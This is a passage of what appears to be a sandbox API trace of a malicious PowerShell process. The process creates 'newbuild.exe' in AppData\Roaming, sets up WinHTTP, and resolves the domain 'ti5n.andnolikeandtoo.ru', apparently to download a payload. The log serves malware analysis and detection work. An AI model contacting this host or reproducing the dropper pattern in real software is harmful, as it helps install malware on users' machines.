lpConsoleScreenBufferInfo=0x250580e1f8 | out: lpConsoleScreenBufferInfo=0x250580e1f8) returned 1 [0155.527] EtwEventActivityIdControl () returned 0x0 [0155.527] EtwEventActivityIdControl () returned 0x0 [0155.527] EtwEventActivityIdControl () returned 0x0 [0155.948] EtwEventActivityIdControl () returned 0x0 [0155.955] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0x250580df90, nSize=0xeb | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0156.036] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0x250580e390, nSize=0xeb | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0156.730] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x250580dba0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0156.732] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf2a35300 [0156.732] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1cbf2a35300, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0156.732] CoTaskMemFree (pv=0x1cbf2a35300) [0156.733] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0156.733] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0156.745] GetCurrentProcess () returned 0xffffffffffffffff [0156.745] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250580dea8 | out: TokenHandle=0x250580dea8*=0x76c) returned 1 [0156.749] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0156.749] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x31, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0156.751] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x250580df50 | out: lpFileInformation=0x250580df50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fdfbae, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x982bc0b8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x982bc0b8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0156.764] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0156.765] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x46, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0156.783] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x250580df48 | out: lpFileInformation=0x250580df48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fdfbae, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x982bc0b8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x982bc0b8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0156.783] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0156.783] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x46, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0156.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580ddc0) returned 1 [0156.783] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0156.784] GetFileType (hFile=0x778) returned 0x1 [0156.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580dd30) returned 1 [0156.784] GetFileType (hFile=0x778) returned 0x1 [0156.800] GetFileSize (in: hFile=0x778, lpFileSizeHigh=0x250580de98 | out: lpFileSizeHigh=0x250580de98*=0x0) returned 0x8c8f [0156.800] ReadFile (in: hFile=0x778, lpBuffer=0x1cbdaad9348, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580de08, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaad9348*, lpNumberOfBytesRead=0x250580de08*=0x1000, lpOverlapped=0x0) returned 1 [0156.820] ReadFile (in: hFile=0x778, lpBuffer=0x1cbdaad9348, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580dbb8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaad9348*, lpNumberOfBytesRead=0x250580dbb8*=0x1000, lpOverlapped=0x0) returned 1 [0156.821] ReadFile (in: hFile=0x778, lpBuffer=0x1cbdaad9348, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580d988, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaad9348*, lpNumberOfBytesRead=0x250580d988*=0x1000, lpOverlapped=0x0) returned 1 [0156.822] ReadFile (in: hFile=0x778, lpBuffer=0x1cbdaad9348, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580d988, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaad9348*, lpNumberOfBytesRead=0x250580d988*=0x1000, lpOverlapped=0x0) returned 1 [0156.822] ReadFile (in: hFile=0x778, lpBuffer=0x1cbdaad9348, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580d988, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaad9348*, lpNumberOfBytesRead=0x250580d988*=0x1000, lpOverlapped=0x0) returned 1 [0156.822] ReadFile (in: hFile=0x778, lpBuffer=0x1cbdaad9348, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580d828, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaad9348*, lpNumberOfBytesRead=0x250580d828*=0x1000, lpOverlapped=0x0) returned 1 [0156.839] ReadFile (in: hFile=0x778, lpBuffer=0x1cbdaad9348, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580dac8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaad9348*, lpNumberOfBytesRead=0x250580dac8*=0x1000, lpOverlapped=0x0) returned 1 [0156.841] ReadFile (in: hFile=0x778, lpBuffer=0x1cbdaad9348, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580d9b8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaad9348*, lpNumberOfBytesRead=0x250580d9b8*=0x1000, lpOverlapped=0x0) returned 1 [0156.841] ReadFile (in: hFile=0x778, lpBuffer=0x1cbdaad9348, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580d9b8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaad9348*, lpNumberOfBytesRead=0x250580d9b8*=0xc8f, lpOverlapped=0x0) returned 1 [0156.841] ReadFile (in: hFile=0x778, lpBuffer=0x1cbdaad9348, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580dac8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaad9348*, lpNumberOfBytesRead=0x250580dac8*=0x0, lpOverlapped=0x0) returned 1 [0156.845] CloseHandle (hObject=0x778) returned 1 [0156.852] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x250580dbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0156.852] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf2a35fc0 [0156.852] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1cbf2a35fc0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0156.852] CoTaskMemFree (pv=0x1cbf2a35fc0) [0156.852] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0156.852] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0156.854] GetCurrentProcess () returned 0xffffffffffffffff [0156.854] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250580e068 | out: TokenHandle=0x250580e068*=0x778) returned 1 [0156.857] GetCurrentProcess () returned 0xffffffffffffffff [0156.858] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250580e068 | out: TokenHandle=0x250580e068*=0x77c) returned 1 [0156.863] GetCurrentProcess () returned 0xffffffffffffffff [0156.863] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250580dea8 | out: TokenHandle=0x250580dea8*=0x79c) returned 1 [0156.863] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x250580df50 | out: lpFileInformation=0x250580df50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0156.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0156.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x41, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0156.865] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x250580df48 | out: lpFileInformation=0x250580df48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0156.866] GetCurrentProcess () returned 0xffffffffffffffff [0156.866] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250580e068 | out: TokenHandle=0x250580e068*=0x780) returned 1 [0156.867] GetCurrentProcess () returned 0xffffffffffffffff [0156.867] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250580e068 | out: TokenHandle=0x250580e068*=0x798) returned 1 [0156.893] GetCurrentProcess () returned 0xffffffffffffffff [0156.893] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250580dd78 | out: TokenHandle=0x250580dd78*=0x794) returned 1 [0156.941] GetCurrentProcess () returned 0xffffffffffffffff [0156.941] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250580dd88 | out: TokenHandle=0x250580dd88*=0x7a8) returned 1 [0156.960] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0156.960] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe", nBufferLength=0x2d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe", lpFilePart=0x0) returned 0x2c [0156.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e460) returned 1 [0156.961] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\newbuild.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\newbuild.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x790 [0156.962] GetFileType (hFile=0x790) returned 0x1 [0156.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e3d0) returned 1 [0156.962] GetFileType (hFile=0x790) returned 0x1 [0156.974] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x7ac [0156.974] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x7a4 [0156.996] GetCurrentProcess () returned 0xffffffffffffffff [0156.996] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250580ddb8 | out: TokenHandle=0x250580ddb8*=0x7b0) returned 1 [0157.001] GetCurrentProcess () returned 0xffffffffffffffff [0157.001] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250580ddc8 | out: TokenHandle=0x250580ddc8*=0x7a0) returned 1 [0157.027] QueryPerformanceCounter (in: lpPerformanceCount=0x250580e4c8 | out: lpPerformanceCount=0x250580e4c8*=25413704329) returned 1 [0157.042] GetCurrentProcess () returned 0xffffffffffffffff [0157.042] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250580dcb8 | out: TokenHandle=0x250580dcb8*=0x7b4) returned 1 [0157.051] GetCurrentProcess () returned 0xffffffffffffffff [0157.052] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250580dcc8 | out: TokenHandle=0x250580dcc8*=0x788) returned 1 [0157.087] GetCurrentProcess () returned 0xffffffffffffffff [0157.087] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250580dd18 | out: TokenHandle=0x250580dd18*=0x784) returned 1 [0157.097] GetCurrentProcess () returned 0xffffffffffffffff [0157.098] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250580dd28 | out: TokenHandle=0x250580dd28*=0x7b8) returned 1 [0157.106] GetCurrentProcess () returned 0xffffffffffffffff [0157.106] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250580e278 | out: TokenHandle=0x250580e278*=0x78c) returned 1 [0157.122] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580c288 | out: phkResult=0x250580c288*=0x7bc) returned 0x0 [0157.122] RegQueryValueExW (in: hKey=0x7bc, lpValueName="InstallationType", lpReserved=0x0, lpType=0x250580c2d8, lpData=0x0, lpcbData=0x250580c2d0*=0x0 | out: lpType=0x250580c2d8*=0x1, lpData=0x0, lpcbData=0x250580c2d0*=0xe) returned 0x0 [0157.122] RegQueryValueExW (in: hKey=0x7bc, lpValueName="InstallationType", lpReserved=0x0, lpType=0x250580c2d8, lpData=0x1cbdab093e0, lpcbData=0x250580c2d0*=0xe | out: lpType=0x250580c2d8*=0x1, lpData="Client", lpcbData=0x250580c2d0*=0xe) returned 0x0 [0157.123] RegCloseKey (hKey=0x7bc) returned 0x0 [0157.405] CoTaskMemAlloc (cb=0xcd0) returned 0x1cbf29fb040 [0157.408] RasEnumConnectionsW (in: param_1=0x1cbf29fb040, param_2=0x250580e230, param_3=0x250580e238 | out: param_1=0x1cbf29fb040, param_2=0x250580e230, param_3=0x250580e238) returned 0x0 [0157.548] CoTaskMemFree (pv=0x1cbf29fb040) [0157.555] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x250580df78 | out: lpWSAData=0x250580df78) returned 0 [0157.560] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x810 [0157.566] setsockopt (s=0x810, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0157.566] closesocket (s=0x810) returned 0 [0157.566] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x810 [0157.567] setsockopt (s=0x810, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0157.567] closesocket (s=0x810) returned 0 [0157.568] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x810 [0157.568] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x814 [0157.571] ioctlsocket (in: s=0x810, cmd=-2147195266, argp=0x250580e258 | out: argp=0x250580e258) returned 0 [0157.571] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x818 [0157.572] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x81c [0157.572] ioctlsocket (in: s=0x818, cmd=-2147195266, argp=0x250580e258 | out: argp=0x250580e258) returned 0 [0157.573] WSAIoctl (in: s=0x810, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x250580e1e0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x250580e1e0, lpOverlapped=0x0) returned -1 [0157.574] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x250580ddc0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0157.596] WSAEventSelect (s=0x810, hEventObject=0x814, lNetworkEvents=512) returned 0 [0157.596] WSAIoctl (in: s=0x818, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x250580e1e0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x250580e1e0, lpOverlapped=0x0) returned -1 [0157.596] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x250580ddc0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0157.596] WSAEventSelect (s=0x818, hEventObject=0x81c, lNetworkEvents=512) returned 0 [0157.597] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x824 [0157.599] RasConnectionNotificationW (param_1=0xffffffffffffffff, param_2=0x824, param_3=0x3) returned 0x0 [0157.609] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x250580e2b8 | out: phkResult=0x250580e2b8*=0x83c) returned 0x0 [0157.610] RegOpenKeyExW (in: hKey=0x83c, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580e1f8 | out: phkResult=0x250580e1f8*=0x840) returned 0x0 [0157.610] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x844 [0157.611] RegNotifyChangeKeyValue (hKey=0x840, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x844, fAsynchronous=1) returned 0x0 [0157.612] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580e200 | out: phkResult=0x250580e200*=0x848) returned 0x0 [0157.612] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x84c [0157.612] RegNotifyChangeKeyValue (hKey=0x848, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x84c, fAsynchronous=1) returned 0x0 [0157.612] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580e200 | out: phkResult=0x250580e200*=0x850) returned 0x0 [0157.612] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x854 [0157.612] RegNotifyChangeKeyValue (hKey=0x850, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x854, fAsynchronous=1) returned 0x0 [0157.613] GetCurrentProcess () returned 0xffffffffffffffff [0157.613] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250580e188 | out: TokenHandle=0x250580e188*=0x858) returned 1 [0157.614] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580d2c8 | out: phkResult=0x250580d2c8*=0x85c) returned 0x0 [0157.614] RegQueryValueExW (in: hKey=0x85c, lpValueName="LegacyWPADSupport", lpReserved=0x0, lpType=0x250580d308, lpData=0x0, lpcbData=0x250580d300*=0x0 | out: lpType=0x250580d308*=0x0, lpData=0x0, lpcbData=0x250580d300*=0x0) returned 0x2 [0157.615] RegCloseKey (hKey=0x85c) returned 0x0 [0157.624] WinHttpOpen (pszAgentW=0x0, dwAccessType=0x1, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x1cbf2a35300 [0157.644] WinHttpSetTimeouts (hInternet=0x1cbf2a35300, nResolveTimeout=60000, nConnectTimeout=60000, nSendTimeout=60000, nReceiveTimeout=60000) returned 1 [0157.644] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x250580e200 | out: pProxyConfig=0x250580e200) returned 1 [0157.699] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_Disabled", lpBuffer=0x250580d270, nSize=0xeb | out: lpBuffer="Ꮐ?Nj") returned 0x0 [0157.699] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_MinCount", lpBuffer=0x250580d270, nSize=0xeb | out: lpBuffer="?ր%") returned 0x0 [0157.701] EtwEventRegister () returned 0x0 [0157.701] EtwEventSetInformation () returned 0x0 [0157.711] GetCurrentProcess () returned 0xffffffffffffffff [0157.711] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250580dc88 | out: TokenHandle=0x250580dc88*=0x894) returned 1 [0157.714] GetCurrentProcess () returned 0xffffffffffffffff [0157.714] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250580dc98 | out: TokenHandle=0x250580dc98*=0x898) returned 1 [0157.725] SetEvent (hEvent=0x7ac) returned 1 [0157.753] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x250580dfa0*=0x824, lpdwindex=0x250580dd74 | out: lpdwindex=0x250580dd74) returned 0x80010115 [0157.755] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x250580df50*=0x814, lpdwindex=0x250580dd24 | out: lpdwindex=0x250580dd24) returned 0x80010115 [0157.755] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x250580df50*=0x81c, lpdwindex=0x250580dd24 | out: lpdwindex=0x250580dd24) returned 0x80010115 [0157.755] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x250580e020*=0x844, lpdwindex=0x250580ddf4 | out: lpdwindex=0x250580ddf4) returned 0x80010115 [0157.756] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x250580e020*=0x84c, lpdwindex=0x250580ddf4 | out: lpdwindex=0x250580ddf4) returned 0x80010115 [0157.756] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x250580e020*=0x854, lpdwindex=0x250580ddf4 | out: lpdwindex=0x250580ddf4) returned 0x80010115 [0157.766] GetCurrentProcess () returned 0xffffffffffffffff [0157.766] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250580db68 | out: TokenHandle=0x250580db68*=0x8b0) returned 1 [0157.793] GetCurrentProcess () returned 0xffffffffffffffff [0157.793] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250580db78 | out: TokenHandle=0x250580db78*=0x8b4) returned 1 [0157.795] SetEvent (hEvent=0x7ac) returned 1 [0157.812] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x250580e1e8 | out: pFixedInfo=0x0, pOutBufLen=0x250580e1e8) returned 0x6f [0158.094] LocalAlloc (uFlags=0x0, uBytes=0x258) returned 0x1cbd8730e50 [0158.094] GetNetworkParams (in: pFixedInfo=0x1cbd8730e50, pOutBufLen=0x250580e1e8 | out: pFixedInfo=0x1cbd8730e50, pOutBufLen=0x250580e1e8) returned 0x0 [0158.232] LocalFree (hMem=0x1cbd8730e50) returned 0x0 [0158.241] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_Disabled", lpBuffer=0x250580d0d0, nSize=0xeb | out: lpBuffer="") returned 0x0 [0158.241] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_MinCount", lpBuffer=0x250580d0d0, nSize=0xeb | out: lpBuffer="") returned 0x0 [0158.278] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x8f4 [0158.281] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x8cc [0158.284] GetAddrInfoW (in: pNodeName="ti5n.andnolikeandtoo.ru", pServiceName=0x0, pHints=0x250580e028*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x250580df70 | out: ppResult=0x250580df70*=0x1cbf2a56bd0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, 